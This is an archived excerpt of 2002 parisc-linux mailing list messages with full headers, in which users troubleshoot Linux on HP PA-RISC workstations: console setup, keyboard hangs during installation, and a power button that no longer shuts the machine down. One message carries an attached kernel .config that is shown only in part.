X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15297

Am 03.07.2002 um 09:52:55 +0200 schrieb Helge Deller folgendes:

> are you really using the new kernel ?

Yes.

> The one from CVS, built with "make palo" ?

make palo? I used make-kpkg and installed the *.deb using "dpkg -i".
Then I ran palo just to be sure.

> What does "uname -a" says ?

It shows the name of the new kernel.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
(S)he's dead




From - Thu Nov 08 21:23:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alex Green" <alexdgreen@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing on C3600
Date: Wed, 3 Jul 2002 10:28:34 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <OE17H31NKzHWcQTLwR20000190f@hotmail.com>
References: <OE62b63Kbc9oLfgzBsc00001390@hotmail.com> <3D21DFDD.9090002@freebel.net> <3D21E354.8050701@freebel.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621458 9876 80.91.229.3 (22 Nov 2014 01:57:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:38 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Joel Soete" <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  3 02:28:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe17.law3.hotmail.com [209.185.240.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24FCC4878
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Jul 2002 02:28:37 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 3 Jul 2002 01:28:36 -0700
X-Originating-IP: [194.175.243.90]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 03 Jul 2002 08:28:36.0605 (UTC) FILETIME=[A04D22D0:01C2226B]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15298

[....]

> > If it is a hp terminal, you can change the emulation. It depends of the
> > terminal type but you can have a look in your user guide or test (but I
> > think that would request severall reboot) the emulation nearest vt100
IIRC.
> >
> > Once you have found the right emulation, try first the more stable
> > 32-bits kernel (IIRC if you unplug ps/2 or usb mouse and keyboard, the
> > kernel will switch to serial console on port 1).
>
> Another good solution could also be to run minicom as console emulation.

So, should i set the terminal type to be VT102 IIRC or just VT102?.. the
terminal is a proper HP Serial Console.

Is it possible to use the STI Console ( Which I believe to be the Graphics
Adapter Console) to start the installation?

Thanks for the help
Alex




From - Thu Nov 08 21:23:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ste <stemelchior@inwind.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP9000/710
Date: Wed, 3 Jul 2002 15:58:13 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <02070315581300.00805__36062.4749366709$1416621459$gmane$org@www>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621459 9880 80.91.229.3 (22 Nov 2014 01:57:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:39 +0000 (UTC)
To: <debian-hppa@lists.debian.org>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  3 05:58:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.it (mail-5.tiscalinet.it [195.130.225.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69875485B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Jul 2002 05:58:44 -0600 (MDT)
Original-Received: from www (62.10.0.224) by mail.tiscali.it (6.5.026)
        id 3D205368001162C3; Wed, 3 Jul 2002 13:58:38 +0200
X-Mailer: KMail [version 1.2]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15299

Hi guys,
I have got an old HP workstation (with DDS, CDROM drive) and when I tried to 
install Debian-HPPA 0.9.3 on it makes impossible the installation at the 
point when you have to configure the keyboard. I mean that ( I got and old 
HP-HIL keyboard, you know the one with the RJ45-like connector) I weel can 
see on monitor the choises but I am able only to move the cursor upward or 
downward. Then it hangs!!! my question is: how to procede in this step of 
installation?
Thanx in advance
Ste@linuxabbestia.net



From - Thu Nov 08 21:23:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Wed, 3 Jul 2002 08:13:06 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20020703121306.GA8464@systemhalted>
References: <20020702183558.GO25586@charite.de> <B1225F09-8DEC-11D6-A95C-0030656F07A2@esiee.fr> <20020702185708.GP25586@charite.de> <20020702190606.GA3678@systemhalted> <20020702190842.GR25586@charite.de> <20020702192147.GC3678@systemhalted> <20020702193116.GU25586@charite.de> <20020703052415.GB32490@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621459 9885 80.91.229.3 (22 Nov 2014 01:57:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  3 06:13:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6010F4866
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Jul 2002 06:13:16 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17Pj0M-0002DT-00; Wed, 03 Jul 2002 08:13:06 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020703052415.GB32490@charite.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (5% Sync Ratio [=.........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15300

> 
> I rebooted that kernel. No output if I press the power switch.
> I checked /proc/sys/kernel/power, it's set to 1
> 

Do you see _anything_ in your log files when you press
the power switch?

Could you please post the .config that your kernel 
builds with?

c.




From - Thu Nov 08 21:23:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Wed, 3 Jul 2002 14:17:38 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20020703121737.GS15228@charite.de>
References: <20020702183558.GO25586@charite.de> <B1225F09-8DEC-11D6-A95C-0030656F07A2@esiee.fr> <20020702185708.GP25586@charite.de> <20020702190606.GA3678@systemhalted> <20020702190842.GR25586@charite.de> <20020702192147.GC3678@systemhalted> <20020702193116.GU25586@charite.de> <20020703052415.GB32490@charite.de> <20020703121306.GA8464@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621459 9887 80.91.229.3 (22 Nov 2014 01:57:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:39 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  3 06:17:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id C3ACC4875
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Jul 2002 06:17:39 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 7F95915C009; Wed,  3 Jul 2002 14:17:38 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 5F4A1633B2; Wed,  3 Jul 2002 14:17:38 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020703121306.GA8464@systemhalted>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15301

Am 03.07.2002 um 08:13:06 -0400 schrieb Carlos O'Donell folgendes:

> Do you see _anything_ in your log files when you press
> the power switch?

Nada. Nothing. Zippo. Zilch.
 
> Could you please post the .config that your kernel 
> builds with?

I rebooted this morning after I recompiled a kernel. I added
CONFIG_IOMMU_CCIO=y
but I have yet to see if it turns itself off now when the button is
pressed. Note that it used to work WITHOUT

CONFIG_IOMMU_CCIO=y

Jul  3 11:24:31 gecko kernel: Initializing RT netlink socket
Jul  3 11:24:31 gecko kernel: Gecko-style soft power switch enabled.
Jul  3 11:24:31 gecko kernel: Starting kswapd

Linux gecko 2.4.18-pa46 #1 Wed Jul 3 09:48:44 CEST 2002 parisc unknown


-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
ignorami: n: 
The BOFH art of folding problem lusers into representational shapes.




From - Thu Nov 08 21:23:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Wed, 3 Jul 2002 14:29:10 +0200
Lines: 836
Approved: news@gmane.org
Message-ID: <20020703122910.GT15228@charite.de>
References: <20020702183558.GO25586@charite.de> <B1225F09-8DEC-11D6-A95C-0030656F07A2@esiee.fr> <20020702185708.GP25586@charite.de> <20020702190606.GA3678@systemhalted> <20020702190842.GR25586@charite.de> <20020702192147.GC3678@systemhalted> <20020702193116.GU25586@charite.de> <20020703052415.GB32490@charite.de> <20020703121306.GA8464@systemhalted> <20020703121737.GS15228@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="NGIwU0kFl1Z1A3An"
X-Trace: ger.gmane.org 1416621460 9894 80.91.229.3 (22 Nov 2014 01:57:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  3 06:29:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 510FC4831
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Jul 2002 06:29:20 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id BA54415C01F
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Jul 2002 14:29:11 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 313C6633B2; Wed,  3 Jul 2002 14:29:11 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020703121737.GS15228@charite.de>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15302

--NGIwU0kFl1Z1A3An
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Am 03.07.2002 um 14:17:38 +0200 schrieb Ralf Hildebrandt folgendes:

> I rebooted this morning after I recompiled a kernel. I added
> CONFIG_IOMMU_CCIO=y
> but I have yet to see if it turns itself off now when the button is
> pressed. Note that it used to work WITHOUT
> 
> CONFIG_IOMMU_CCIO=y
> 
> Jul  3 11:24:31 gecko kernel: Initializing RT netlink socket
> Jul  3 11:24:31 gecko kernel: Gecko-style soft power switch enabled.
> Jul  3 11:24:31 gecko kernel: Starting kswapd
> 
> Linux gecko 2.4.18-pa46 #1 Wed Jul 3 09:48:44 CEST 2002 parisc unknown

Forgot the .config

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Real programmers never work 9 to 5. If any real programmers are around
at 9 am, it's because they were up all night. 


--NGIwU0kFl1Z1A3An
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=".config"

#
# Automatically generated make config: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_RWSEM_XCHGADD_ALGORITHM is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# Loadable module support
#
CONFIG_MODULES=y
CONFIG_MODVERSIONS=y
CONFIG_KMOD=y

#
# Processor type
#
# CONFIG_PA7100 is not set
# CONFIG_PA7200 is not set
CONFIG_PA7100LC=y
# CONFIG_PA8X00 is not set
CONFIG_PA11=y

#
# General options
#
# CONFIG_SMP is not set
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_KWDB is not set
CONFIG_IOMMU_CCIO=y
CONFIG_GSC=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
# CONFIG_EISA is not set
# CONFIG_ISA is not set
CONFIG_PCI=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_SUPERIO=y
CONFIG_PCI_NAMES=y

#
# General setup
#
CONFIG_HOTPLUG=y
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_KCORE_ELF=y
CONFIG_BINFMT_ELF=y
CONFIG_BINFMT_SOM=m
# CONFIG_BINFMT_MISC is not set
# CONFIG_PM is not set

#
# Parallel port support
#
CONFIG_PARPORT=m
# CONFIG_PARPORT_PC is not set
# CONFIG_PARPORT_AMIGA is not set
# CONFIG_PARPORT_MFC3 is not set
# CONFIG_PARPORT_ATARI is not set
CONFIG_PARPORT_GSC=m
# CONFIG_PARPORT_SUNBPP is not set
# CONFIG_PARPORT_OTHER is not set
# CONFIG_PARPORT_1284 is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_BLK_DEV_LOOP=m
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_BLK_DEV_INITRD is not set

#
# Multi-device support (RAID and LVM)
#
# CONFIG_MD is not set
# CONFIG_BLK_DEV_MD is not set
# CONFIG_MD_LINEAR is not set
# CONFIG_MD_RAID0 is not set
# CONFIG_MD_RAID1 is not set
# CONFIG_MD_RAID5 is not set
# CONFIG_MD_MULTIPATH is not set
# CONFIG_BLK_DEV_LVM is not set

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_NETLINK_DEV=y
CONFIG_NETFILTER=y
# CONFIG_NETFILTER_DEBUG is not set
CONFIG_FILTER=y
CONFIG_UNIX=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
# CONFIG_IP_PNP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
CONFIG_INET_ECN=y
CONFIG_SYN_COOKIES=y

#
#   IP: Netfilter Configuration
#
CONFIG_IP_NF_CONNTRACK=y
CONFIG_IP_NF_FTP=y
CONFIG_IP_NF_IRC=y
# CONFIG_IP_NF_QUEUE is not set
CONFIG_IP_NF_IPTABLES=y
CONFIG_IP_NF_MATCH_LIMIT=y
CONFIG_IP_NF_MATCH_MAC=y
CONFIG_IP_NF_MATCH_MARK=y
CONFIG_IP_NF_MATCH_MULTIPORT=y
CONFIG_IP_NF_MATCH_TOS=y
CONFIG_IP_NF_MATCH_AH_ESP=m
CONFIG_IP_NF_MATCH_LENGTH=y
CONFIG_IP_NF_MATCH_TTL=y
CONFIG_IP_NF_MATCH_TCPMSS=y
CONFIG_IP_NF_MATCH_STATE=y
CONFIG_IP_NF_MATCH_UNCLEAN=y
CONFIG_IP_NF_MATCH_OWNER=y
CONFIG_IP_NF_FILTER=y
CONFIG_IP_NF_TARGET_REJECT=y
# CONFIG_IP_NF_TARGET_MIRROR is not set
CONFIG_IP_NF_NAT=y
CONFIG_IP_NF_NAT_NEEDED=y
CONFIG_IP_NF_TARGET_MASQUERADE=y
CONFIG_IP_NF_TARGET_REDIRECT=y
# CONFIG_IP_NF_NAT_SNMP_BASIC is not set
CONFIG_IP_NF_NAT_IRC=y
CONFIG_IP_NF_NAT_FTP=y
# CONFIG_IP_NF_MANGLE is not set
CONFIG_IP_NF_TARGET_LOG=y
CONFIG_IP_NF_TARGET_ULOG=m
CONFIG_IP_NF_TARGET_TCPMSS=y
# CONFIG_IPV6 is not set
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set
# CONFIG_VLAN_8021Q is not set

#
#  
#
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_LLC is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# ATA/IDE/MFM/RLL support
#
# CONFIG_IDE is not set
# CONFIG_BLK_DEV_IDE_MODES is not set
# CONFIG_BLK_DEV_HD is not set

#
# SCSI support
#
CONFIG_SCSI=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
CONFIG_SD_EXTRA_DEVS=40
CONFIG_CHR_DEV_ST=m
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=m
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_SR_EXTRA_DEVS=2
CONFIG_CHR_DEV_SG=y

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
# CONFIG_SCSI_DEBUG_QUEUES is not set
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set

#
# SCSI low-level drivers
#
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_7000FASST is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA152X is not set
# CONFIG_SCSI_AHA1542 is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_MEGARAID is not set
# CONFIG_SCSI_BUSLOGIC is not set
# CONFIG_SCSI_CPQFCTS is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_EATA is not set
# CONFIG_SCSI_EATA_DMA is not set
# CONFIG_SCSI_EATA_PIO is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GDTH is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
# CONFIG_SCSI_NCR53C406A is not set
CONFIG_SCSI_LASI700=y
CONFIG_53C700_MEM_MAPPED=y
CONFIG_53C700_LE_ON_BE=y
CONFIG_53C700_USE_CONSISTENT=y
# CONFIG_SCSI_NCR53C7xx is not set
# CONFIG_SCSI_SYM53C8XX_2 is not set
# CONFIG_SCSI_NCR53C8XX is not set
CONFIG_SCSI_SYM53C8XX=y
CONFIG_SCSI_ZALON=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set
# CONFIG_SCSI_NCR53C8XX_IOMAPPED is not set
# CONFIG_SCSI_NCR53C8XX_PQS_PDS is not set
# CONFIG_SCSI_NCR53C8XX_SYMBIOS_COMPAT is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_PCI2000 is not set
# CONFIG_SCSI_PCI2220I is not set
# CONFIG_SCSI_PSI240I is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_ISP is not set
# CONFIG_SCSI_QLOGIC_FC is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_U14_34F is not set
# CONFIG_SCSI_DEBUG is not set

#
# PCMCIA SCSI adapter support
#
# CONFIG_SCSI_PCMCIA is not set

#
# Network device support
#
CONFIG_NETDEVICES=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_ETHERTAP is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
CONFIG_LASI_82596=m
# CONFIG_SUNLANCE is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNBMAC is not set
# CONFIG_SUNQE is not set
# CONFIG_SUNGEM is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
# CONFIG_NET_PCI is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_ACENIC is not set
# CONFIG_DL2K is not set
# CONFIG_MYRI_SBUS is not set
# CONFIG_NS83820 is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
CONFIG_PPP=m
# CONFIG_PPP_MULTILINK is not set
# CONFIG_PPP_FILTER is not set
CONFIG_PPP_ASYNC=m
CONFIG_PPP_SYNC_TTY=m
